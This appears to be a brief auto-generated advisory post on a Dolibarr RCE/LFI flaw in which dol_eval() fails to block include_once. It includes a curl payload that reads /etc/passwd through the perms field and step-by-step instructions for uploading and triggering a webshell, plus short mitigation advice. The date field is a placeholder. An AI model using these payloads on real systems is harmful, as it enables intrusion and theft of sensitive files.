Listen to this Post
How the CVE Works
The vulnerability arises in Dolibarr’s menu permission handling within edit.php. User-supplied PHP code in the `perms` field is executed via dol_eval(), which insufficiently filters dangerous functions. While it blocks certain functions via $forbiddenphpfunctions, it misses `include_once` and require_once. This allows:
1. Local File Inclusion (LFI): By setting `perms` to include_once('/etc/passwd'), attackers read sensitive files.
2. Remote Code Execution (RCE): If `allow_url_include` is enabled, `include_once(‘php://input’)` executes arbitrary POST data.
3. File Upload + LFI: Uploading a PHP shell (no suffix) via `/user/document.php` and including it via `perms` achieves RCE universally, bypassing `allow_url_include` restrictions.
DailyCVE Form
Platform: Dolibarr
Version: <17.0.0
Vulnerability: RCE/LFI
Severity: Critical
Date: 2023-XX-XX
Prediction: Patch by Q2 2024
What Undercode Say
curl -X POST http://target/htdocs/admin/menus/edit.php -d "perms=include_once('/etc/passwd')"
grep -r "dol_eval(" /var/www/html/
php -i | grep allow_url_include
How Exploit
1. Upload webshell via `/user/document.php?id=1&uploadform=1` (no suffix).
2. Create menu with `perms=include_once(‘/path/to/shell’)`.
3. Access menu to trigger RCE.
Protection from this CVE
- Disable
allow_url_include. - Patch `dol_eval()` blacklist.
- Restrict file uploads.
Impact
- Arbitrary command execution.
- Sensitive file disclosure.
- Full system compromise.
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
